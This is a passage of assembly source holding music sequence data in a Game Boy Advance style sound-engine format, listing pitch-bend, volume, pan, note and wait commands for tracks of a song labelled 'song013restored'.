.byte W01 .byte BEND , c_v-1 .byte N01 , AsM1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Dn0 .byte W01 ; 004 ---------------------------------------- .byte BEND , c_v+0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-7 .byte N06 , Cs0 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v-5 .byte W01 .byte c_v+2 .byte W01 .byte c_v+1 .byte W01 .byte c_v+4 .byte W01 .byte c_v-2 .byte W01 .byte c_v-8 .byte N01 , FsM1 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+2 .byte N01 , FnM1 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v-7 .byte N01 , BnM1 .byte N01 , En1 .byte W01 .byte BEND , c_v+10 .byte W01 .byte c_v-6 .byte N01 , AsM1 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-1 .byte N01 .byte W01 .byte BEND , c_v-8 .byte N01 , Cs0 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , AnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , An0 .byte W01 .byte BEND , c_v-1 .byte N04 , AnM1 .byte W01 .byte BEND , c_v+10 .byte W01 .byte c_v+2 .byte W01 .byte c_v+9 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+1 .byte N01 , EnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , FsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N01 , Gs0 .byte W01 .byte BEND , c_v-9 .byte N01 , AsM1 .byte N10 , Ds0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+5 .byte W01 .byte c_v-8 .byte W01 .byte c_v+7 .byte W01 .byte c_v-5 .byte W01 .byte c_v+3 .byte W01 .byte c_v+0 .byte W01 .byte c_v+4 .byte W01 .byte c_v-5 .byte W01 .byte c_v+5 .byte W01 .byte c_v-7 .byte W01 .byte c_v+0 .byte N01 , AnM2 .byte N02 , AnM1 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-4 .byte W01 .byte c_v+8 .byte W01 .byte c_v-9 .byte N01 , Dn0 .byte N01 , En1 .byte W01 .byte BEND , c_v+4 .byte W01 .byte c_v-3 .byte N01 , GnM1 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-3 .byte N03 , AsM1 .byte W01 .byte BEND , c_v+9 .byte W01 .byte c_v-6 .byte W01 .byte c_v+0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+9 .byte N02 , BnM1 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-7 .byte N01 , DsM1 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-2 .byte N01 , GsM1 .byte W01 .byte BEND , c_v-11 .byte N01 , As0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-6 .byte N01 , AsM1 .byte N01 , Cs0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+3 .byte W01 .byte c_v-3 .byte N01 , AnM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+10 .byte W01 .byte c_v-5 .byte N01 , AsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-1 .byte N01 , En1 .byte W01 .byte BEND , c_v-8 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+0 .byte N01 , DsM1 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-5 .byte N04 , Fn0 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v-8 .byte W01 .byte c_v+7 .byte W01 .byte c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-10 .byte N01 , CnM2 .byte N01 , Gs0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-1 .byte N01 , FsM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-8 .byte W01 .byte c_v+3 .byte N01 , EnM1 .byte N01 , An0 .byte W01 .byte BEND , c_v-3 .byte W01 .byte c_v+0 .byte N01 , GsM1 .byte N01 , An0 .byte W01 .byte BEND , c_v-9 .byte W01 .byte c_v+0 .byte N01 , FsM1 .byte N01 , Dn1 .byte W01 .byte BEND , c_v-10 .byte W01 .byte c_v+0 .byte N01 , AsM1 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-1 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-4 .byte N01 , CnM2 .byte N01 , Gs0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+1 .byte N01 , EnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , AnM2 .byte N01 , Ds0 .byte N01 , Gs0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-6 .byte N01 , AsM1 .byte N08 , Fs0 .byte N01 , Ds1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v-6 .byte W01 .byte c_v-4 .byte W01 .byte c_v+3 .byte W01 .byte c_v-7 .byte W01 .byte c_v-2 .byte W01 .byte c_v-4 .byte W01 .byte c_v-3 .byte W01 .byte c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , AnM2 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte N01 , AnM1 .byte W01 .byte BEND , c_v-2 .byte N01 , Ds1 .byte W01 ; 005 ---------------------------------------- .byte BEND , c_v+0 .byte N01 , BnM1 .byte W01 .byte BEND , c_v-2 .byte N01 , DsM1 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte N01 , Dn0 .byte W01 .byte BEND , c_v-7 .byte N01 , Fn0 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+2 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-6 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-1 .byte N01 , EnM1 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-5 .byte W01 .byte c_v+0 .byte N01 , AnM2 .byte N01 , FnM1 .byte N01 , Fn0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-1 .byte N01 , En0 .byte W01 .byte BEND , c_v-1 .byte N01 , AsM1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte N01 , FnM1 .byte W01 .byte BEND , c_v+5 .byte N01 , As0 .byte W01 .byte BEND , c_v-1 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-1 .byte N01 , CnM2 .byte N01 , Gn0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte N01 , GnM1 .byte W01 .byte BEND , c_v-1 .byte N01 , AsM1 .byte N01 , Fn1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v+2 .byte W76 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte W01 ; 006 ---------------------------------------- .byte VOICE , 8 .byte BENDR , 12 .byte 12 .byte BEND , c_v+2 .byte FINE ;**************** Track 5 (Midi-Chn.7) ****************; @song013restored_5: .byte KEYSH , song013restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 8 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+0 .byte VOL , 39*song013restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song013restored_mvl/mxv .byte 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v-24 .byte TIE , Cn3 , v088 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v-43 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v-17 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v-22 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v-27 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v-33 .byte W01 .byte VOL , 3*song013restored_mvl/mxv .byte BEND , c_v-39 .byte W01 .byte VOL , 4*song013restored_mvl/mxv .byte BEND , c_v+9 .byte W01 .byte VOL , 5*song013restored_mvl/mxv .byte BEND , c_v+10 .byte W01 .byte VOL , 6*song013restored_mvl/mxv .byte BEND , c_v-58 .byte W01 .byte VOL , 7*song013restored_mvl/mxv .byte BEND , c_v-52 .byte W01 .byte VOL , 8*song013restored_mvl/mxv .byte BEND , c_v-46 .byte W01 .byte VOL , 9*song013restored_mvl/mxv .byte BEND , c_v-41 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v-35 .byte W01 .byte VOL , 11*song013restored_mvl/mxv .byte BEND , c_v+44 .byte W01 .byte VOL , 13*song013restored_mvl/mxv .byte BEND , c_v+45 .byte W01 .byte VOL , 14*song013restored_mvl/mxv .byte BEND , c_v+46 .byte W01 .byte VOL , 16*song013restored_mvl/mxv .byte BEND , c_v-8 .byte W01 .byte VOL , 18*song013restored_mvl/mxv .byte BEND , c_v-2 .byte W01 .byte VOL , 19*song013restored_mvl/mxv .byte BEND , c_v+2 .byte W01 .byte VOL , 21*song013restored_mvl/mxv .byte BEND , c_v+8 .byte W01 .byte VOL , 23*song013restored_mvl/mxv .byte BEND , c_v+12 .byte W01 .byte VOL , 23*song013restored_mvl/mxv .byte PAN , c_v+0 .byte BEND , c_v+11 .byte W01 .byte c_v+10 .byte W01 .byte c_v+35 .byte W01 .byte c_v+41 .byte W01 .byte c_v+47 .byte W01 .byte c_v+53 .byte W01 .byte c_v+59 .byte W01 .byte c_v-49 .byte W01 .byte c_v-24 .byte W01 .byte c_v-25 .byte W01 .byte c_v+0 .byte W01 .byte c_v+25 .byte W01 .byte c_v+19 .byte W01 .byte c_v+14 .byte W01 .byte c_v-35 .byte W01 .byte c_v-35 .byte W01 .byte c_v-60 .byte W01 .byte c_v-59 .byte W01 .byte c_v-35 .byte W01 .byte c_v-41 .byte W01 .byte c_v-29 .byte W01 .byte c_v-35 .byte W01 .byte c_v-41 .byte W01 .byte c_v-25 .byte W01 .byte c_v-23 .byte W01 .byte c_v-49 .byte W01 .byte c_v-48 .byte W01 .byte c_v-45 .byte W01 .byte c_v-39 .byte W01 .byte c_v-33 .byte W01 .byte c_v+29 .byte W01 .byte c_v+10 .byte W01 .byte c_v-11 .byte W01 .byte c_v-5 .byte W01 .byte c_v+0 .byte W01 .byte c_v+4 .byte W01 .byte c_v+10 .byte W01 .byte c_v-30 .byte W01 .byte c_v-5 .byte W01 .byte c_v+45 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte BEND , c_v+38 .byte W01 .byte c_v+44 .byte W01 .byte c_v+49 .byte W01 .byte c_v+55 .byte W01 .byte c_v+57 .byte W01 .byte c_v-40 .byte W01 .byte c_v-41 .byte W01 .byte c_v+34 .byte W01 .byte c_v+29 .byte W01 .byte c_v+23 .byte W01 .byte c_v+18 .byte W01 .byte c_v+12 .byte W01 .byte c_v-17 .byte W01 .byte c_v-43 .byte W01 .byte c_v-42 .byte W01 .byte c_v-15 .byte W01 .byte c_v-20 .byte W01 .byte c_v-26 .byte W01 .byte c_v+41 .byte W01 .byte c_v+16 .byte W01 .byte c_v-9 .byte W01 .byte c_v-8 .byte W01 .byte c_v-32 .byte W01 .byte c_v-60 .byte W01 .byte c_v-54 .byte W01 .byte c_v-48 .byte W01 .byte c_v-43 .byte W01 .byte c_v+19 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte BEND , c_v+20 .byte W01 .byte c_v-4 .byte W01 .byte c_v-15 .byte W01 .byte c_v-9 .byte W01 .byte c_v-4 .byte W01 .byte c_v+1 .byte W01 ; 001 ---------------------------------------- .byte c_v+10 .byte W01 .byte c_v+10 .byte W01 .byte c_v+34 .byte W01 .byte c_v+30 .byte W01 .byte c_v+34 .byte W01 .byte c_v+40 .byte W01 .byte c_v+45 .byte W01 .byte c_v+51 .byte W01 .byte c_v-51 .byte W01 .byte c_v+26 .byte W01 .byte c_v+25 .byte W01 .byte c_v+24 .byte W01 .byte c_v+32 .byte W01 .byte c_v+27 .byte W01 .byte c_v+22 .byte W01 .byte c_v+14 .byte W01 .byte c_v-33 .byte W01 .byte c_v-35 .byte W01 .byte c_v-5 .byte W01 .byte c_v-11 .byte W01 .byte VOL , 59*song013restored_mvl/mxv .byte BEND , c_v-17 .byte W01 .byte c_v-22 .byte W01 .byte c_v+0 .byte W01 .byte c_v+1 .byte W01 .byte c_v-23 .byte W01 .byte c_v-50 .byte W01 .byte c_v-56 .byte W01 .byte c_v-58 .byte W01 .byte c_v-52 .byte W01 .byte c_v-46 .byte W01 .byte c_v+36 .byte W01 .byte c_v+10 .byte W01 .byte c_v-14 .byte W01 .byte c_v-13 .byte W01 .byte c_v-13 .byte W01 .byte c_v-8 .byte W01 .byte c_v-30 .byte W01 .byte c_v+21 .byte W01 .byte c_v+19 .byte W01 .byte c_v+44 .byte W01 .byte c_v+25 .byte W01 .byte c_v+30 .byte W01 .byte c_v+36 .byte W01 .byte c_v-54 .byte W01 .byte c_v+47 .byte W01 .byte c_v-41 .byte W01 .byte c_v-15 .byte W01 .byte c_v+35 .byte W01 .byte c_v+8 .byte W01 .byte c_v+36 .byte W01 .byte c_v+31 .byte W01 .byte c_v+7 .byte W01 .byte c_v-44 .byte W01 .byte c_v-50 .byte W01 .byte c_v-51 .byte W01 .byte c_v-26 .byte W01 .byte c_v-7 .byte W01 .byte c_v-13 .byte W01 .byte c_v+41 .byte W01 .byte c_v+42 .byte W01 .byte c_v+18 .byte W01 .byte c_v-33 .byte W01 .byte c_v-59 .byte W01 .byte c_v-58 .byte W01 .byte c_v-58 .byte W01 .byte c_v-56 .byte W01 .byte c_v+40 .byte W01 .byte c_v+52 .byte W01 .byte c_v+1 .byte W01 .byte c_v+28 .byte W01 .byte c_v-23 .byte W01 .byte c_v-17 .byte W01 .byte c_v-11 .byte W01 .byte c_v-41 .byte W01 .byte c_v-15 .byte W01 .byte c_v+34 .byte W01 .byte c_v+30 .byte W01 .byte c_v+58 .byte W01 .byte c_v+21 .byte W01 .byte c_v+26 .byte W01 .byte c_v+32 .byte W01 .byte c_v-50 .byte W01 .byte c_v-25 .byte W01 .byte c_v-26 .byte W01 .byte c_v+24 .byte W01 .byte c_v+50 .byte W01 .byte c_v+45 .byte W01 .byte c_v+40 .byte W01 .byte c_v-33 .byte W01 .byte c_v-60 .byte W01 .byte c_v-32 .byte W01 .byte c_v-35 .byte W01 .byte c_v+6 .byte W01 .byte c_v-11 .byte W01 .byte c_v-3 .byte W01 .byte c_v-9 .byte W01 ; 002 ---------------------------------------- .byte c_v+26 .byte W01 .byte c_v+55 .byte W01 .byte c_v-48 .byte W01 .byte c_v-21 .byte W01 .byte c_v-45 .byte W01 .byte c_v-48 .byte W01 .byte c_v-54 .byte W01 .byte c_v-60 .byte W01 .byte c_v+36 .byte W01 .byte c_v+37 .byte W01 .byte c_v+39 .byte W01 .byte c_v-12 .byte W01 .byte c_v-11 .byte W01 .byte c_v-21 .byte W01 .byte c_v-15 .byte W01 .byte c_v-5 .byte W01 .byte c_v-33 .byte W01 .byte c_v+46 .byte W01 .byte EOT .byte W02 .byte VOL , 65*song013restored_mvl/mxv .byte BEND , c_v-1 .byte N01 , BnM2 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-33 .byte N01 , GsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-2 .byte N01 , EnM1 .byte N01 , An0 .byte W01 .byte BEND , c_v-19 .byte N01 , Gn0 .byte W01 .byte VOL , 59*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N01 , CnM1 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+1 .byte N01 , CnM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-1 .byte N01 , CnM1 .byte N01 , Dn0 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-27 .byte N01 , BnM1 .byte N01 , Cs1 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte BEND , c_v+1 .byte N01 , CnM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-60 .byte N02 , En0 .byte W01 .byte BEND , c_v-52 .byte W01 .byte c_v+3 .byte N01 , BnM2 .byte N03 , Gn0 .byte W01 .byte BEND , c_v+44 .byte W01 .byte c_v-19 .byte W01 .byte c_v+26 .byte N01 , AsM2 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte BEND , c_v-12 .byte N03 , Dn0 .byte W01 .byte BEND , c_v+20 .byte W01 .byte c_v-15 .byte W01 .byte c_v-64 .byte W01 .byte c_v+0 .byte N01 , CsM1 .byte N01 , AsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+6 .byte N01 , As0 .byte W01 .byte BEND , c_v-3 .byte N01 , CsM1 .byte N01 , Fs0 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+14 .byte N01 , DnM1 .byte W01 .byte BEND , c_v-9 .byte N01 , EnM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+63 .byte N01 , BnM2 .byte N01 , As0 .byte W01 .byte BEND , c_v+2 .byte N01 , CsM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-2 .byte N01 , AsM2 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+1 .byte N01 , GsM1 .byte N01 , An0 .byte W01 .byte BEND , c_v-34 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+62 .byte N01 , AnM1 .byte W01 .byte BEND , c_v+63 .byte N01 , GnM2 .byte W01 .byte BEND , c_v-1 .byte N01 , GsM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-27 .byte N01 , Dn0 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+1 .byte N01 , AnM2 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+2 .byte N01 , FsM1 .byte N01 , As0 .byte W01 .byte BEND , c_v-39 .byte N01 , Dn1 .byte W01 .byte BEND , c_v+43 .byte N01 , AsM2 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+42 .byte N01 , CsM1 .byte W01 .byte BEND , c_v+5 .byte N03 , An0 .byte W01 .byte BEND , c_v+31 .byte W01 .byte c_v-54 .byte W01 .byte c_v-2 .byte N01 , DsM1 .byte N01 , En0 .byte W01 .byte BEND , c_v+2 .byte N01 , CsM1 .byte W01 .byte BEND , c_v+20 .byte W01 .byte c_v-3 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-3 .byte N01 , DsM1 .byte N01 , EnM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+41 .byte W01 .byte c_v-1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+0 .byte N01 , BnM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+63 .byte N01 , DnM1 .byte W01 .byte BEND , c_v+38 .byte N01 , AsM2 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-14 .byte N01 , FnM1 .byte N01 , An0 .byte W01 .byte BEND , c_v+0 .byte N01 , DsM1 .byte N01 , An0 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+1 .byte N01 , AsM2 .byte N01 , BnM2 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-1 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+25 .byte W01 .byte c_v+2 .byte N01 , DnM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+13 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte N01 , En0 .byte W01 .byte BEND , c_v-2 .byte N01 , DsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+16 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N02 , FnM1 .byte W01 .byte BEND , c_v-33 .byte W01 .byte c_v+2 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-15 .byte W01 .byte c_v+19 .byte N01 , FnM1 .byte W01 .byte BEND , c_v+2 .byte N02 , Gn0 .byte W01 .byte BEND , c_v-42 .byte W01 .byte c_v-2 .byte N02 , FsM1 .byte W01 .byte BEND , c_v-2 .byte W01 .byte c_v-9 .byte W01 .byte c_v-2 .byte N01 , Cn1 .byte W01 ; 003 ---------------------------------------- .byte BEND , c_v+63 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+59 .byte N01 , CnM1 .byte W01 .byte BEND , c_v+1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+12 .byte N01 , AsM1 .byte W01 .byte BEND , c_v-3 .byte N03 , BnM1 .byte N01 , Dn1 .byte W01 .byte BEND , c_v-44 .byte W01 .byte c_v-50 .byte W01 .byte c_v+26 .byte W01 .byte c_v+0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+0 .byte N01 , BnM2 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-1 .byte N01 , BnM2 .byte W01 .byte BEND , c_v+1 .byte N01 , GsM1 .byte N01 , As0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , CnM1 .byte W01 .byte BEND , c_v+63 .byte N01 , GnM2 .byte N01 , GnM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+2 .byte N02 , GsM1 .byte N01 , AnM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+34 .byte W01 .byte c_v-1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-3 .byte N01 , EnM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-1 .byte N01 , DsM1 .byte N01 , Gs0 .byte W01 .byte BEND , c_v+61 .byte N01 , FsM1 .byte W01 .byte BEND , c_v+6 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+37 .byte N01 , DnM1 .byte W01 .byte BEND , c_v-1 .byte N01 , BnM2 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-30 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+2 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-34 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+2 .byte N01 , DnM1 .byte N01 , Gs0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte N01 , An0 .byte W01 .byte BEND , c_v+12 .byte W01 .byte c_v-35 .byte N02 , GsM1 .byte W01 .byte BEND , c_v+49 .byte W01 .byte c_v-64 .byte N01 , As0 .byte W01 .byte BEND , c_v+1 .byte N01 , GnM1 .byte W01 .byte BEND , c_v-21 .byte W01 .byte c_v+0 .byte N01 , FnM1 .byte N01 , As0 .byte W01 .byte BEND , c_v-32 .byte N01 , An0 .byte W01 .byte BEND , c_v+1 .byte N01 , DsM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+28 .byte N01 , GnM1 .byte W01 .byte BEND , c_v-48 .byte W01 .byte c_v+1 .byte N01 , GsM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+1 .byte N01 , DnM1 .byte N01 , Gs0 .byte W01 .byte BEND , c_v-3 .byte N01 , BnM2 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-64 .byte N01 , As0 .byte W01 .byte BEND , c_v+22 .byte N01 , AsM1 .byte W01 .byte BEND , c_v+50 .byte W01 .byte c_v+46 .byte N02 , FsM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-31 .byte W01 .byte c_v+46 .byte W01 .byte c_v-64 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-59 .byte N03 , AsM1 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v-61 .byte W01 .byte c_v-30 .byte N01 , GsM2 .byte N02 , Fn0 .byte W01 .byte BEND , c_v+47 .byte W01 .byte c_v-11 .byte W01 .byte c_v+14 .byte N01 , CnM1 .byte W01 .byte BEND , c_v-1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-11 .byte W01 .byte c_v-18 .byte N03 , AnM1 .byte W01 .byte BEND , c_v-64 .byte W01 .byte c_v+6 .byte W01 .byte c_v-11 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , CnM1 .byte N01 , CsM1 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+0 .byte N02 , Cn0 .byte N01 , Dn1 .byte W01 .byte BEND , c_v+21 .byte W01 .byte c_v+31 .byte W01 .byte c_v+5 .byte N01 , BnM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , BnM2 .byte W01 .byte BEND , c_v-29 .byte N01 , Cs0 .byte W01 .byte BEND , c_v-22 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , BnM2 .byte N01 , FsM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+2 .byte N02 , Cn0 .byte W01 .byte BEND , c_v+10 .byte W01 .byte c_v+28 .byte W01 .byte c_v+22 .byte N02 , AsM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-55 .byte W01 .byte c_v-22 .byte W01 .byte c_v-24 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N01 , FsM1 .byte W01 .byte BEND , c_v+41 .byte W01 .byte c_v-51 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+12 .byte W01 .byte c_v+4 .byte N01 , CnM1 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-2 .byte N01 , DsM1 .byte W01 .byte BEND , c_v-1 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+2 .byte W01 .byte c_v+13 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-23 .byte W01 .byte c_v-64 .byte N01 , Dn1 .byte W01 .byte BEND , c_v+0 .byte N01 , AsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-3 .byte N01 , CsM1 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-1 .byte N01 , FnM1 .byte N01 , Gs0 .byte W01 .byte BEND , c_v-3 .byte N01 , DsM1 .byte W01 .byte BEND , c_v-2 .byte N01 , AsM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , BnM2 .byte W01 ; 004 ---------------------------------------- .byte BEND , c_v+1 .byte N01 , GsM1 .byte N01 , An0 .byte W01 .byte BEND , c_v+1 .byte N01 .byte W01 .byte BEND , c_v+2 .byte N01 , AsM2 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+2 .byte N01 , FsM1 .byte N01 , Gs0 .byte W01 .byte BEND , c_v-62 .byte N01 , CsM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-28 .byte N01 , Dn0 .byte W01 .byte BEND , c_v-1 .byte N01 , Cs0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-15 .byte N01 , AnM1 .byte N01 , As0 .byte W01 .byte BEND , c_v-21 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-64 .byte N01 , GsM1 .byte N01 , AnM1 .byte N01 , An0 .byte W01 .byte BEND , c_v+1 .byte N01 , GnM2 .byte N01 , GsM1 .byte W01 .byte BEND , c_v-53 .byte N01 , Dn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-2 .byte N01 , DsM1 .byte N01 , En0 .byte W01 .byte BEND , c_v+0 .byte N02 , BnM2 .byte W01 .byte BEND , c_v+31 .byte W01 .byte c_v-3 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+30 .byte W01 .byte c_v+37 .byte N01 , BnM2 .byte W01 .byte BEND , c_v+0 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N01 , AsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N01 , AsM2 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-3 .byte N01 , FnM1 .byte W01 .byte BEND , c_v-3 .byte N01 , DsM1 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+61 .byte N01 , DnM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+0 .byte N01 , BnM2 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-64 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+1 .byte N01 , BnM2 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+19 .byte W01 .byte c_v+2 .byte N01 , BnM2 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+37 .byte N01 , CnM1 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+1 .byte N01 , CsM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+2 .byte N01 , AsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-64 .byte W01 .byte c_v-10 .byte N01 , GsM2 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+0 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+63 .byte N03 , BnM1 .byte W01 .byte BEND , c_v-64 .byte W01 .byte c_v+63 .byte W01 .byte c_v-2 .byte N01 , BnM2 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-40 .byte W01 .byte c_v+63 .byte N01 , EnM1 .byte W01 .byte BEND , c_v+2 .byte N01 , AsM2 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+45 .byte W01 .byte c_v+26 .byte N02 , Cs0 .byte W01 .byte BEND , c_v-44 .byte W01 .byte c_v+2 .byte N01 , BnM2 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+0 .byte N01 , AnM2 .byte 